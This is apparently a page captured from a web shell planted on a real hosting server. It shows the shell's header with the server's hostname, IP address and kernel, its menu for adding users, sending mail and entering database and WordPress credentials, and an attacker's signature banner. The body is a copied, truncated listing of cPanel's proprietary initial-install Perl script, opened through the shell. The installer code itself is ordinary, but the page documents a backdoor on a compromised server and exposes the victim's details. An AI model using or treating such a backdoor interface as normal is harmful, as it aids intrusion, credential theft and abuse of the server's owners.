System
:
Linux server1.ontime-gulf.com 4.18.0-553.5.1.el8_10.x86_64 #1 SMP Wed Jun 5 09:12:13 EDT 2024 x86_64
Software
:
Apache
Server
:
162.0.230.206
Domains
:
40 Domain
Permission
:
[
drwxr-xr-x
]
:
/
scripts
/
216.73.216.50
Select
Submit
Home
Add User
Mailer
About
DBName
DBUser
DBPass
DBHost
WpUser
WpPass
Input e-mail
ACUPOFTEA for mail.ontime-ae.com made by tabagkayu.
Folder Name
File Name
File Content
File
cpanel_initial_install
#!/usr/local/cpanel/3rdparty/bin/perl # Copyright 2024 WebPros International, LLC # All rights reserved. # copyright@cpanel.net http://cpanel.net # This code is subject to the cPanel license. Unauthorized copying is prohibited. package scripts::cpanel_initial_install; use cPstrict; use Cpanel::ChildErrorStringifier (); use Cpanel::Chkservd::Manage (); use Cpanel::Chkservd::Tiny (); use Cpanel::Config::LoadConfig (); use Cpanel::Config::ConfigObj (); use Cpanel::Config::CpConfGuard (); use Cpanel::Config::FlushConfig (); use Cpanel::Config::LoadCpConf (); use Cpanel::ConfigFiles (); use Cpanel::DnsUtils::Add (); use Cpanel::DIp::Update (); use Cpanel::Timezones (); use Cpanel::RPM::Versions::File (); use Proc::FastSpawn (); use Cpanel::FeatureShowcase (); use Cpanel::Finally (); use Cpanel::Carp (); use Cpanel::LoadModule (); use Cpanel::FileUtils::TouchFile (); use Cpanel::FileUtils::Write (); use Cpanel::Kernel (); use Cpanel::Kernel::GetDefault (); use Cpanel::NSCD::Log (); use Cpanel::Quota::Utils (); use Cpanel::Pkgr (); use Cpanel::Usage (); use Cpanel::NAT (); use Cpanel::Init::Simple (); use Cpanel::TimeHiRes (); use Cpanel::Server::Type (); use Cpanel::Sys::Hostname::Modify (); use Cpanel::TimeHiRes (); use Cwd (); use File::Path (); use File::Copy (); use Cpanel::MariaDB (); use Cpanel::SafeRun::Object (); use Cpanel::Services::Running (); use Cpanel::Yum::Vars (); use Cpanel::MysqlUtils::ServiceName (); use Cpanel::MysqlUtils::MyCnf::Adjust (); use Whostmgr::Services (); use Whostmgr::TweakSettings (); use Cpanel::ForkAsync (); use Cpanel::Wait::Constants (); use Cpanel::ServerTasks (); # a sub is overridden later in code so let's load it for safety. use Cpanel::Daemonizer::Tiny (); use Cpanel::Install::EA4 (); use Cpanel::Install::Utils::Packaged (); use Cpanel::Install::Utils::Logger (); use Cpanel::Install::Utils::Command (); use Cpanel::Install::LetsEncrypt (); use Cpanel::Install::MySQL (); use Cpanel::Install::JobRunner (); use Cpanel::NameServer::Utils::Enabled (); use Cpanel::OS (); use Cpanel::OSSys::Env (); use Cpanel::Slurper (); use Cpanel::Resolvers (); use Cpanel::Systemd (); use Cpanel::Binaries (); # These start off as 0 and once they have been deferred they will # be set to 1 my %targets_to_defer_to_after_first_upcp = ( 'sitepublisher' => 0, 'mailman' => 0 ); my %module_by_type = ( 'MySQL' => 'Cpanel::Mysql::Install', 'MariaDB' => 'Cpanel::MariaDB::Install', ); # We only use this file in the installer and we delete it when # we are done. my $mysql_rpm_download_complete_file = '/var/cpanel/mysql_rpm_download_completed'; my $systemctl_bin = Cpanel::Binaries::path("systemctl"); my %background_pids; my $run_tasks_in_main_process = 0; Cpanel::Carp::enable(); #make sure fatal results in a backtrace my $MAIN_PROCESS_PID; exit __PACKAGE__->script(@ARGV) unless caller(); # loggers helper sub INFO ($msg) { return Cpanel::Install::Utils::Logger::INFO($msg); } sub DEBUG ($msg) { return Cpanel::Install::Utils::Logger::DEBUG($msg); } sub WARN ($msg) { return Cpanel::Install::Utils::Logger::WARN($msg); } sub FATAL ($msg) { return Cpanel::Install::Utils::Logger::FATAL($msg); } sub script (@ARGS) { if ( !$ENV{'CPANEL_BASE_INSTALL'} ) { die("This program is designed to be run from the cpanel installer. It is probably destructive to run but if you insist, you'll need to set the environment variable CPANEL_BASE_INSTALL=1 before you run it\n"); } # ensure locale are set local @ENV{qw{LANG LANGUAGE LC_ALL LC_MESSAGES LC_CTYPE}} = qw{C C C C C}; my $skip_apache = 0; my $skip_repo_setup = 0; my $installstart = time(); my %opts = ( 'skipapache' => \$skip_apache, 'installstart' => \$installstart, 'skipreposetup' => \$skip_repo_setup, ); Cpanel::Usage::wrap_options( \@ARGS, \&usage, \%opts ); #Set this because we also run during sysup which is done as a result of a deferred task #also done during upcp so this is a forever thing that has to be tracked by touchfile touch($Cpanel::ConfigFiles::SKIP_REPO_SETUP_FLAG) if $skip_repo_setup; my $lock_file = $Cpanel::ConfigFiles::BASE_INSTALL_IN_PROGRESS_FILE; $| = 1; ## no critic qw(Variables::RequireLocalizedPunctuationVars) umask 022; ## no critic qw(ProhibitStringyEval) # Don't create the END block until run time. $MAIN_PROCESS_PID = $$; eval q{ # Cleanup the lock file on exit. END { return unless $MAIN_PROCESS_PID && $$ == $MAIN_PROCESS_PID; if ( $lock_file and open(my $fh, '<', $lock_file ) ) { my $pid = <$fh>; close $fh; chomp $pid if ($pid); if ( !$pid or $pid == $$ ) { print "Removing $lock_file\n"; unlink $lock_file; } } } }; ## use critic qw(ProhibitStringyEval) # Create the lock file. touch( $lock_file, $$ ); # Open the install logs for append. open_logs(); # case CPANEL-28892: # securetmp cannot run in the background because it has a window of broken-ness for # /tmp where the files are being moved around. INFO('Securing the /tmp and /var/tmp directories.'); Cpanel::Install::Utils::Command::ssystem( '/usr/local/cpanel/scripts/securetmp', '--auto', '--install' ); # Determine local distro and version. Fail if unsupported distro. die q[Unuspported distribution: ] . Cpanel::OS::display_name() unless Cpanel::OS::is_supported(); # setup /etc/yum/vars/cp_centos_major_version as soon as possible Cpanel::Yum::Vars::install(); # if you suspect an error from racing tasks, then you can try setting this to 1 to force tasks to run serially. $run_tasks_in_main_process = $ENV{'RUN_TASKS_IN_MAIN_PROCESS'} // 0; INFO("run_tasks_in_main_process=$run_tasks_in_main_process"); _run_in_background( \&set_up_swap_if_needed, 'Setting up SWAP' ); # Disable fs.protected_regular if it is enabled by default disable_fs_protected_regular_if_needed(); # Store the initial install version. File::Copy::copy( '/usr/local/cpanel/version', '/var/cpanel/install_version' ); # Upgrade to cloud linux if licensed via cpanel. Change distro if it updates. upgrade_to_cloud_linux(); # /var/cpanel/cpanel.config probably already exists from updatenow.static, but updatenow and *.static files # are considered daemons and CpConfGuard does not compute dynamic values for daemons. Cpanel::Config::CpConfGuard->new(); my $installer_dir = Cwd::getcwd(); # Now software is installed, call rdate in case it couldn't be called earlier. $installstart = update_system_clock($installstart); { # Save the /var/cpanel/cpanel.config and cache file we've been avoiding up to this point. INFO("Setting up /var/cpanel/cpanel.config"); local $ENV{CPANEL_BASE_INSTALL} = 0; Cpanel::Config::CpConfGuard::clearcache(); Cpanel::Config::LoadCpConf::loadcpconf(); } # Remember resolv.conf in case its data goes missing: my $resolv_conf = Cpanel::Slurper::read('/etc/resolv.conf'); # Lowercase the host name if necessary (no need to fork anymore, this is now run by cpanel perl) Cpanel::Sys::Hostname::Modify::make_hostname_lowercase_fqdn(); # NAT auto-detection/configuration Cpanel::Install::Utils::Command::ssystem('/usr/local/cpanel/scripts/build_cpnat'); # Check if the hostname resolves - this *must* be done after build_cpnat # so that the resolution checks are performed properly on NAT environments Cpanel::Install::Utils::Command::ssystem( '/usr/local/cpanel/scripts/ensure_hostname_resolves', '-y' ); # If the resolvers went missing, tell NetworkManager to leave them alone, then put them back: if ( $ENV{CPANEL_BASE_INSTALL} && !Cpanel::Resolvers::fetchresolvers()->@* ) { WARN("The system DNS resolvers went missing when cPanel adjusted the hostname."); if ( Cpanel::OS::networking() eq 'NetworkManager' ) { my $nm_conf_file = '/etc/NetworkManager/conf.d/99-cpanel.conf'; WARN("Configuring NetworkManager using file “$nm_conf_file”."); Cpanel::Slurper::write( $nm_conf_file, <<'EOF', 0644 ); [main] dns = none EOF Cpanel::Systemd::systemctl(qw(reload NetworkManager.service)); sleep 1; # give everything time to settle } INFO("Restoring previous DNS resolvers."); Cpanel::Slurper::write( '/etc/resolv.conf', $resolv_conf, 0644 ); sleep 1; # give everything time to settle } # Import the MySQL key before going to install to avoid conflicts later INFO("Attempting to pre-import the mysql gpg key"); Cpanel::Install::MySQL::install_mysql_keys(); my $mysql_download_pid = _run_in_background( sub { INFO("Downloading MySQL/MariaDB packages"); eval { download_mariadb_or_mysql($skip_apache) }; if ($@) { WARN("Errors seen pre-caching the database server packages. A second attempt will be made to download it for install"); } else { INFO("Completed downloading MySQL/MariaDB packages"); } return 0; }, 'MySQL/MariaDB package Download' ); if ( !$skip_repo_setup ) { Cpanel::Install::EA4::install_apache_repo(); } my $ea4_or_universal_hooks_install_pid; if ( Cpanel::Server::Type::is_dnsonly() ) { $ea4_or_universal_hooks_install_pid = _install_yum_universal_hooks_in_background(); } elsif ($skip_apache) { WARN("Skipping Apache installation due to command line request"); } else { $ea4_or_universal_hooks_install_pid = _install_ea4_in_background(); } # Setup databases my $dbsetup_pid = _setup_databases_and_dependent_apps($skip_apache); # Created /etc/domainips after build_cpnat and hostname Cpanel::DIp::Update::update_dedicated_ips_and_dependencies_or_die(); # Stop and possibly remove some services disable_and_remove_init_services(); # Reduce memory pressure as soon as we can Cpanel::Install::Utils::Command::ssystem('/usr/local/cpanel/scripts/vps_optimizer'); # Make cpanel.pem right away require Cpanel::SSLCerts; Cpanel::SSLCerts::checkForExpiredServiceCrts(); # Init the package management system, update installed, then run sysup ensure_rpms_installed(); # Setup default cPanel users; do_taskrun(); # Update license information ASAP so code can get at it. INFO("Updating license information"); Cpanel::Install::Utils::Command::ssystem(qw{/usr/local/cpanel/cpkeyclt}); # Make touch files corresponding to cpanel.config settings. do_cpanel_config_touch_files(); if ( -e '/usr/sbin/pwconv' ) { INFO("making sure we are shadowed"); Cpanel::Install::Utils::Command::ssystem('/usr/sbin/pwconv'); } _shutdown_cpanel_services(); INFO("Making sure the firewall (if present) is setup for cPanel."); Cpanel::Install::Utils::Command::ssystem('/usr/local/cpanel/scripts/configure_firewall_for_cpanel'); _run_modular_jobs(); setup_misc_cpanel_config_files(); setup_exim_config_defaults(); INFO("Setting up the local name server."); setup_nameserver(); # make sure dnsadmin is up so we can do dns dcv # mkdir '/var/cpanel/dnsadmin', 0700; Cpanel::Install::Utils::Command::ssystem( '/usr/local/cpanel/3rdparty/bin/perl', "/usr/local/cpanel/install/CpanelService.pm" ); Cpanel::Install::Utils::Command::ssystem(qw{/usr/local/cpanel/scripts/restartsrv_dnsadmin}); # warn on failure: do not abort the installation if it fails _run_and_wait_in_background( \&_setup_dns_and_dkim, 'Setup DNS and DKIM', stop_on_failure => 0 ); _run_tasks_that_can_be_done_after_updatenow_in_the_background(); _defer_targets(); INFO("Downloading deferred packages"); Cpanel::Install::Utils::Command::ssystem(qw{/usr/local/cpanel/scripts/check_cpanel_pkgs --fix --no-broken --no-digest --download-only}); if ($ea4_or_universal_hooks_install_pid) { # Apache needs to be installed before upcp _wait_for_background_tasks_to_finish($ea4_or_universal_hooks_install_pid); } _run_webserver_post_install_and_ssl_cert_check_in_background(); INFO("Installing deferred packages"); Cpanel::Install::Utils::Command::ssystem(qw{/usr/local/cpanel/scripts/check_cpanel_pkgs --fix --no-broken --no-digest}); setup_ftpserver(); INFO("Waiting for MySQL/MariaDB installation to complete"); _wait_for_background_tasks_to_finish($dbsetup_pid); INFO("Finished waiting for MySQL/MariaDB installation to complete"); _run_tasks_that_must_wait_until_deferred_are_installed(); Cpanel::Install::Utils::Command::ssystem('/usr/local/cpanel/scripts/ensure_crontab_permissions'); # Run upcp for the first time. # NOTE: This will start cpanellogd. INFO(" "); INFO(" "); INFO("Running upcp for the first time."); INFO(" "); INFO(" "); # upcp will link 3rdparty binaries Cpanel::Install::Utils::Command::ssystem(qw{/usr/local/cpanel/scripts/upcp manual}); # --force should not be needed _install_deferred_targets(); if ( !Cpanel::Server::Type::is_dnsonly() ) { # Fix for broken mailman installer ( still needed ) Cpanel::Install::Utils::Command::ssystem( '/usr/local/cpanel/scripts/set_mailman_archive_perms', '--background' ); } schdir($installer_dir); # Restore any staged cpanel accounts cpanel_account_restore(); # Tailwatchd should be started from the queue # to avoid a race condition where its already in the queue # and we try to start it. # # Previously we would start tailwatchd after # flushing the task queue which lead to a race # condition where the task queue might start it # and then restartsrv would try as well. The one # that lost the race would error. By putting it # in the queue we ensure we only do it once. # CPANEL-26289: Ensure locales are the first thing we do in the background # after the install finishes to preserve legacy behavior _schedule_task( 'LocaleTasks' => "build_locale_databases", 20 ); _schedule_task( 'TailwatchTasks' => 'reloadtailwatch', 200 ); _schedule_task( 'SpamassassinTasks' => 'update_spamassassin_rules', 3000 ); INFO("Queuing system package update"); _schedule_task( 'API' => "verify_api_spec_files", 2000 ); _schedule_task( 'MaintenanceTasks' => 'run_system_package_update', 1000 ); #rpmup # ensure_rpms_installed will only install the most critical # rpms because sysup limits the number of rpms that # are installed during CPANEL_BASE_INSTALL=1 to ensure we can # move on as fast as possible. # Since users have come to expect some rpms will # be preinstalled on cPanel systems we do these in the # background. _schedule_task( 'MaintenanceTasks' => 'run_base_package_update', 700 ); #sysup _schedule_task( 'TemplateTasks' => "rebuild_templates", 500 ); _schedule_task( 'cPAddons' => "install_cpaddons", 100 ); _schedule_task( 'ScriptTasks' => "run_script /usr/local/cpanel/scripts/mailperm", 3500 ); # Do this last as its of low importance since we won't have enough accounts on the system # soon enough for it to matter _schedule_task( 'ScriptTasks' => 'run_script /usr/local/cpanel/scripts/find_outdated_services --auto', 3600 ); # Remove any unneeded rpms that could not be removed during this install # in order to prevent a condition where we see : Error: Rpmdb changed underneath us _schedule_task( 'ScriptTasks' => 'run_script /usr/local/cpanel/scripts/check_cpanel_pkgs --fix --no-digest --no-broken', 2000 ); # CPANEL-26871: ensure httpd.conf is rebuilt once splitlogs has been installed # in the upcp warn if !eval { Cpanel::ServerTasks::queue_task( ['ApacheTasks'], 'build_apache_conf', 'apache_restart' ); 1 }; # Do not defer this. We need this in place before the first login. Cpanel::Install::Utils::Command::ssystem(qw{/usr/local/cpanel/scripts/install_cpanel_analytics}); # CPANEL-27822: defer checks of spamd for 30 minutes since the latest rules # will be installed in the background Cpanel::Chkservd::Tiny::suspend_service( 'spamd', 60 * 30 ); _schedule_task( 'CpServicesTasks' => "restartsrv spamd", 1 ); # Install ImunifyAV if it's available for this platform _schedule_task( 'ImunifyTasks' => 'install_imunifyav', 900 ); # Some WP Toolkit packages still use SHA1 signatures ensure_crypto_policy_has_sha1(); # Install WP Toolkit _schedule_task( 'WPTK' => 'install_wptk', 1200 ); _wait_for_background_tasks_to_finish( keys %background_pids ); INFO("Enabling one-time shutdown hook"); # cpcleartaskqueue utilizes ExecStop to suspend chkservd, stop queueprocd, # and runs "bin/servers_queue run" (ignore scheduling and run all queued tasks now) # -- upon stoppage of the service i.e. when the server is shut down Cpanel::Install::Utils::Command::ssystem( $systemctl_bin, 'start', 'cpcleartaskqueue' ); INFO("Flushing the task queue"); # Queueprocd will start tailwatchd # restart a few services and do an on-demand run of the task queue restart_services_and_run_all_tasks_in_queue(); my $finishtime = time(); my $installtime = $finishtime - $installstart; my $installfinishtime = localtime($finishtime); INFO( sprintf( "cPanel install finished in %d minutes and %d seconds!", int( $installtime / 60 ), $installtime % 60 ) ); display_howto(); # Check if the kernel set for boot matches what's currently running (uname -r) notify_if_boot_kernel_changed(); save_system_config_at_install_for_analytics(); if ( -x '/root/cpanel_profile/postinstallhook' ) { INFO("Running /root/cpanel_profile/postinstallhook"); Cpanel::Install::Utils::Command::ssystem('/root/cpanel_profile/postinstallhook'); } return 0; } sub _schedule_task ( $plugin, $task, $delay = 120 ) { die q[Invalid plugin name] if ref $plugin; die qq[invalid task name $task] if $task =~ m{^\d+$}a; die qq[invalid delay '$delay' for task $task] unless $delay =~ m{^\d+$}a; INFO("schedule_task: [ $plugin ], $task in $delay seconds."); warn unless eval { Cpanel::ServerTasks::schedule_task( [$plugin], $delay, $task ); 1 }; return; } ### ---- END sub script ---- #### sub schdir { my $dir = shift; my $cwd = Cwd::getcwd(); chdir($dir) || die "Cannot chdir to ${dir} ($!), cwd was: $cwd"; return; } sub _run_modular_jobs { my $runner = Cpanel::Install::JobRunner->new(); $runner->dispatch_next() while $runner->get_pending_jobs(); return; } # NOTE : This code is duplicated in build-tools/bootstrap_sandbox . If you change this, you probably need to change it there as well. sub disable_fs_protected_regular_if_needed { return unless Cpanel::OS::kernel_supports_fs_protected_regular(); my $current_value = Cpanel::SafeRun::Object->new( 'program' => "/usr/sbin/sysctl", 'args' => [ '--binary', '--ignore', 'fs.protected_regular' ] )->stdout(); # Assume that fs.regular_fifos could also be enabled, so disable them now.. unless ( length $current_value && $current_value eq 0 ) { Cpanel::Install::Utils::Command::ssystem( '/usr/sbin/sysctl', 'fs.protected_regular=0' ); Cpanel::Install::Utils::Command::ssystem( '/usr/sbin/sysctl', 'fs.protected_fifos=0' ); } # .. and ensure they stay disabled on reboot my $sysctl_conf_path = '/usr/lib/sysctl.d/protect-links.conf'; if ( open( my $sysctl_conf_rd_fh, '<', $sysctl_conf_path ) ) { my @file_contents = (<$sysctl_conf_rd_fh>); close($sysctl_conf_rd_fh); if ( open( my $sysctl_conf_wr_fh, '>', $sysctl_conf_path ) ) { foreach my $line (@file_contents) { chomp $line; if ( $line =~ m/^fs\.protected_regular/ ) { print $sysctl_conf_wr_fh "fs.protected_regular = 0\n"; } elsif ( $line =~ m/^fs\.protected_fifos/ ) { print $sysctl_conf_wr_fh "fs.protected_fifos = 0\n"; } else { print $sysctl_conf_wr_fh "$line\n"; } } close($sysctl_conf_wr_fh); } } return; } sub ensure_rpms_installed { unlink '/var/cpanel/useyum'; # No longer used by cPanel. # Assure yum exclusions are reinstated unlink '/etc/checkyumdisable'; # We do not need to run sysup since its run as part of Cpanel::Update::Now return; } sub ensure_crypto_policy_has_sha1 { if ( Cpanel::OS::crypto_policy_needs_sha1() ) { Cpanel::Install::Utils::Command::ssystem( Cpanel::OS::bin_update_crypto_policies(), '--set', 'DEFAULT:SHA1' ); } return; } sub update_system_clock { my $installstart = shift; # Set the clock my $was = time(); Cpanel::Install::Utils::Command::ssystem('/usr/local/cpanel/scripts/rdate'); my $now = time(); INFO( "Clock set to: " . localtime($now) ); my $change = $now - $was; # Adjust the start time if it shifted more than 10 seconds. if ( abs($change) > 10 ) { WARN("Clock changed by $change seconds."); $installstart += $change; WARN( "Starting time adjusted to " . localtime($installstart) ); } else { INFO("Clock changed by $change seconds"); } return $installstart; } sub set_up_swap_if_needed { INFO('Checking for sufficient memory or swap.'); return if Cpanel::OSSys::Env::get_envtype() eq 'virtuozzo'; Cpanel::Install::Utils::Command::ssystem(qw{/usr/local/cpanel/bin/create-swap --if-needed --verbose}); return; } sub _early_install_tasks { return qw{ Repos FixPamConf MailMan DefaultFeatureFiles Users Conf ExternalAuth CPanelPost ResellersInit FixLogPermissions Perm SecurityCheck }; } sub do_taskrun { INFO('Setting up early taskrun items.'); foreach my $task ( _early_install_tasks() ) { Cpanel::Install::Utils::Command::ssystem( '/usr/local/cpanel/3rdparty/bin/perl', "/usr/local/cpanel/install/$task.pm" ); } Cpanel::Install::Utils::Command::ssystem(qw{/usr/local/cpanel/scripts/restartsrv_dnsadmin --stop --notconfigured-ok}); Cpanel::Install::Utils::Command::ssystem(qw{/usr/local/cpanel/scripts/restartsrv_dnsadmin --start}); return; } sub download_mariadb_or_mysql { my ($skip_apache) = @_; # If download_mariadb_or_mysql dies this is ok as it will only slow # down the install since we retry the download during the install my $finally = Cpanel::Finally->new( sub { Cpanel::FileUtils::TouchFile::touchfile($mysql_rpm_download_complete_file); } ); local $ENV{CPANEL_BASE_INSTALL} = 0; # build_mysql_conf will exit if this is 1 to prevent double rebuilds my $set_version = _get_mysql_set_version(); # We don't need to do this for MySQL 5.6 and below return 1 if ( $set_version < 5.7 ); my $install_obj = _create_mysqldb_install_obj($set_version); INFO("Preparing to download MySQL/MariaDB packages"); # Work around race condition where the mysql download starts before ea4 install # by waiting for ea4 to have profiles in place in order to avoid # the state where the mysql download blocks ea4 from installing via yum lock _wait_for_ea4_profiles_to_be_installed() if !$skip_apache && !Cpanel::Server::Type::is_dnsonly(); INFO("Starting MySQL/MariaDB package download"); $install_obj->download_pkgs($set_version); return 1; } sub install_mariadb_or_mysql { my ($skip_apache) = @_; local $ENV{CPANEL_BASE_INSTALL} = 0; # build_mysql_conf will exit if this is 1 to prevent double rebuilds my $set_version = _get_mysql_set_version(); INFO("The 'mysql-version' key is set to: $set_version."); my $type = _get_mysql_type($set_version); my $install_obj = _create_mysqldb_install_obj($set_version); if ( Cpanel::OS::db_needs_preseed() && !Cpanel::MariaDB::version_is_mariadb($set_version) ) { my $preseed_path = $install_obj->write_preseed_file($set_version); $install_obj->preseed_configuration($preseed_path); } return _do_mysqlbase_db_install( $type, $set_version, $install_obj, $skip_apache ); } sub _do_mysqlbase_db_install { my ( $type, $set_version, $install_obj, $skip_apache ) = @_; if ($set_version) { INFO("Installing $type"); INFO("Installing $type dependencies"); if ( $set_version < 5.7 ) { # Deps will be installed automatically if # we are using yum repos so there is no need # to do a separate yum transaction which only # slows things down $install_obj->install_known_deps($set_version); } else { INFO("Installing $type packages"); _wait_for_mysql_to_be_downloaded(); _wait_for_ea4_to_be_installed() if !$skip_apache && !Cpanel::Server::Type::is_dnsonly(); # A dry-run is pointless since we have not installed # $type before $install_obj->install_pkgs_without_dry_run($set_version); # Needs the file /etc/apparmor.d/usr.sbin.mysqld in place (by installing mysql package), so this must be done after installing the packages if ( Cpanel::OS::security_service() eq 'apparmor' ) { $install_obj->configure_apparmor(); } } } if ( -e '/var/run/mysqld/mysqld.sock' && !-e '/var/lib/mysql/mysql.sock' ) { symlink( '/var/run/mysqld/mysqld.sock', '/var/lib/mysql/mysql.sock' ); } INFO("Installing $type Upgrade Hooks"); $install_obj->install_upgrade_hook(); return; } sub _get_mysql_set_version { my $config = scalar Cpanel::Config::LoadCpConf::loadcpconf_not_copy(); return $config->{'mysql-version'}; } sub _get_mysql_type { my ($set_version) = @_; return Cpanel::MariaDB::version_is_mariadb($set_version) ? 'MariaDB' : 'MySQL'; } sub _create_mysqldb_install_obj { my ($set_version) = @_; INFO("The 'mysql-version' key is set to: $set_version."); my $type = _get_mysql_type($set_version); my $pass_version = $set_version >= 5.7 ? $set_version : undef; my $module = $module_by_type{$type} or die "Failed to determine module from type: “$type”"; Cpanel::LoadModule::load_perl_module($module); return "$module"->new( 'output_obj' => Cpanel::Install::Utils::Logger::get_output_obj(), 'skip_build_mysql_conf' => 1, # For 5.7+ we no longer have any targets in etc/rpm.versions # so lets not block rpm to do nothing as it slows down the # whole install ( $set_version >= 5.7 ? ( 'skip_ensure_rpms' => 1 ) : () ) ); } sub run_roundcube_ifnecessary { return unless my $v = Cpanel::Pkgr::get_package_version('cpanel-roundcubemail'); local $ENV{'CPANEL_ROUNDCUBE_INSTALL_VERSION'} = $v; INFO('Running /usr/local/cpanel/bin/update-roundcube-db'); Cpanel::Install::Utils::Command::ssystem(qw{/usr/local/cpanel/bin/update-roundcube-db}); INFO('/usr/local/cpanel/bin/update-roundcube-db Done'); return; } sub setup_openidconnect_for_cpanelid() { INFO("Setup cPanelID"); # In CPANEL-28178 we fixed cPanelID.pm to observe the SUPER's return of # undef when the underlying configuration was missing. This now makes # is_configured return the correct result which allows us to fix the # missing config. require Cpanel::Security::Authn::OpenIdConnect; my $provider = Cpanel::Security::Authn::OpenIdConnect::get_openid_provider( 'cpaneld', 'cpanelid' ); if ( !$provider->is_configured() ) { $provider->set_client_configuration( { 'client_id' => 'auto', 'client_secret' => 'auto' } ); } return; } sub _setup_databases_and_dependent_apps { my ($skip_apache) = @_; return _run_in_background( sub { my $finally; # Defer this use warnings qw(once redefine); my $restoreconpath = '/usr/sbin/restorecon'; if ( -l $restoreconpath ) { my $target = readlink($restoreconpath); # This is a hack to avoid modifing the mysql rpms # which is only safe since we are doing a base cPanel install # and require selinux to be disabled anyways. # # Prevent the installer from calling restorecon # during mysql install since we have selinux disabled # and this causes a stall. We put restorecon back # after the mysql parts are done unlink($restoreconpath); $finally = Cpanel::Finally->new( sub { symlink( $target, $restoreconpath ) or die "Failed to restore $restoreconpath link to $target: $!"; } ); } # Install MariaDB or a version of Mysql 5.7+ if necessary. install_mariadb_or_mysql($skip_apache); # Do this before starting mysql { # Avoid doing anything that requires mysql to be running Cpanel::MysqlUtils::MyCnf::Adjust::auto_adjust( { 'force' => 1, 'debug' => 0, 'verbose' => 1, 'no-restart' => 1, } ); } Cpanel::Install::Utils::Command::ssystem('/usr/local/cpanel/scripts/update_mysql_systemd_config'); Cpanel::Install::Utils::Command::ssystem(qw{/usr/local/cpanel/bin/build_mysql_conf --no-upgrade --no-selinux}); # Run scripts/securemysql is no longer needed # since all yum based installed call build_mysql_conf # which will do this Cpanel::Init::Simple::call_cpservice_with( Cpanel::MysqlUtils::ServiceName::get_installed_version_service_name() => qw/enable/ ); undef $finally; Cpanel::Chkservd::Manage::enable('mysql'); return 0; }, 'SQL Databases and dependent apps' ); } sub upgrade_to_cloud_linux { DEBUG("Detecting if Cloud Linux is licensed through cpanel"); # Assure local::lib to /usr/bin/perl so perl modules can be installed to home directories. # upcp now does this my $license_options = `/usr/local/cpanel/cpanel -F`; ## no critic qw(Cpanel::ProhibitQxAndBackticks) return if $license_options !~ m/cloudlinux/ms; my $cloud_installer = '/usr/local/cpanel/bin/cloudlinux_update'; INFO("Upgrading your distro to Cloud Linux"); if ( !-x $cloud_installer ) { WARN("Cannot convert your system to Cloud Linux without $cloud_installer"); } else { Cpanel::Install::Utils::Command::ssystem($cloud_installer); Cpanel::OS::clear_cache_after_cloudlinux_update(); # die q[Unuspported distribution: ] . Cpanel::OS::display_name() unless Cpanel::OS::is_supported(); # make sure the new version is supported } # Re-check system to make sure we haven't moved to cloud linux return; } sub setup_ftpserver { my $config = scalar Cpanel::Config::LoadCpConf::loadcpconf(); # Setup the FTP server. Default to disabled my $target = $config->{'ftpserver'} || 'disabled'; $target = 'disabled' if ( Cpanel::Server::Type::is_dnsonly() ); # DNSONLY installs cannot set a custom ftp server. Cpanel::Install::Utils::Logger::INFO("Setting up FTP server to '$target'"); if ( $target !~ m/^(disabled|proftpd|pure-ftpd)$/ ) { Cpanel::Install::Utils::Logger::WARN("$target is an unsupported ftpserver. Will default to 'disabled' instead"); $target = 'disabled'; } my $no_anon_ftp = '/var/cpanel/noanonftp'; if ( !-e $no_anon_ftp && $target ne 'disabled' ) { Cpanel::Install::Utils::Logger::INFO('Defaulting Anonymous FTP off'); Cpanel::FileUtils::TouchFile::touchfile('/var/cpanel/noanonftp'); # Default } Cpanel::Install::Utils::Command::ssystem( '/usr/local/cpanel/scripts/setupftpserver', $target ); return; } sub setup_nameserver { my $config = scalar Cpanel::Config::LoadCpConf::loadcpconf(); # Setup the name server. Default to PowerDNS { # powerdns should be the default everywhere unless another choice was set my $default_nameserver = Cpanel::OS::list_contains_value( 'dns_supported', 'powerdns' ) ? 'powerdns' # : Cpanel::OS::list_contains_value( 'dns_supported', 'bind' ) ? 'bind' : 'disabled' # ; my $target = $config->{'local_nameserver_type'} || $default_nameserver; INFO("Setting up name server to '$target'"); # Make sure the nameserver can be installed on the system my ( $valid, $reason ) = Cpanel::NameServer::Utils::Enabled::valid_nameserver_type($target); if ( !$valid ) { my $fallback = $target ne $default_nameserver ? $default_nameserver : 'disabled'; WARN("$target cannot be setup on your system (will default to '$fallback' instead): $reason"); $target = $fallback; ( $valid, $reason ) = Cpanel::NameServer::Utils::Enabled::valid_nameserver_type($target); FATAL("$target is an unsupported name server: $reason.") unless $valid; } # The name server must be set up before attempting to reset it to cPanel defaults. Cpanel::Install::Utils::Command::ssystem( '/usr/local/cpanel/scripts/setupnameserver', '--force', $target ); if ( $target =~ m/^(bind|powerdns)$/ ) { if ( -e '/etc/named.conf' ) { INFO("Saving /etc/named.conf, and rebuild with cPanel defaults"); if ( rename '/etc/named.conf', '/etc/named.conf.precpanelinstall' ) { Cpanel::Install::Utils::Command::ssystem('/usr/local/cpanel/scripts/rebuilddnsconfig'); } else { WARN("Unable to rebuild /etc/named.conf file"); } } } } # Setup the mail server. { my $target = $config->{'mailserver'}; $target = 'disabled' if ( Cpanel::Server::Type::is_dnsonly() ); # DNSONLY installs cannot set a custom mail server. INFO("Setting up mail server to '$target'"); if ( $target !~ m/^(disabled|dovecot)$/ ) { WARN("$target is an unsupported mail server. Will default to 'dovecot' instead"); $target = 'dovecot'; } Cpanel::Install::Utils::Command::ssystem( '/usr/local/cpanel/scripts/setupmailserver', $target ); } return; } sub setup_misc_cpanel_config_files { INFO('Setting up misc cPanel config files.'); # FB Case about running this out of maintenance and into the install script DEBUG(' Running scripts/secureit'); Cpanel::Install::Utils::Command::ssystem( '/usr/local/cpanel/scripts/secureit', '--fast' ); # rc.local is not run with systemd. if ( Cpanel::OS::service_manager() eq 'initd' ) { # sync time on reboot. my $rc_local = '/etc/rc.d/rc.local'; DEBUG(' Configuring rdate to run on reboot'); if ( open my $rc_fh, '>>', $rc_local ) { print {$rc_fh} "/usr/local/cpanel/scripts/rdate &\n"; close $rc_fh; } } DEBUG(' Setting WHM theme to x'); Cpanel::FileUtils::Write::overwrite( '/var/cpanel/whmtheme', 'x', 0644 ); # can be missing on some systems Cpanel::FileUtils::TouchFile::touchfile('/etc/fstab'); DEBUG("Setup /var/cpanel/user_notifications/"); mkdir '/var/cpanel/user_notifications/', 0751; return; } sub setup_exim_config_defaults { INFO('Setting up exim default configuration options.'); # Load the initial config, if the config file exists, # if it does not exist, start with an empty hash. my $initial_config = Cpanel::Config::LoadConfig::loadConfig( '/etc/exim.conf.localopts', undef, "=", undef, undef, 1 ); $initial_config ||= {}; # Get all the initial config values that are not undefs my %config = map { $_ 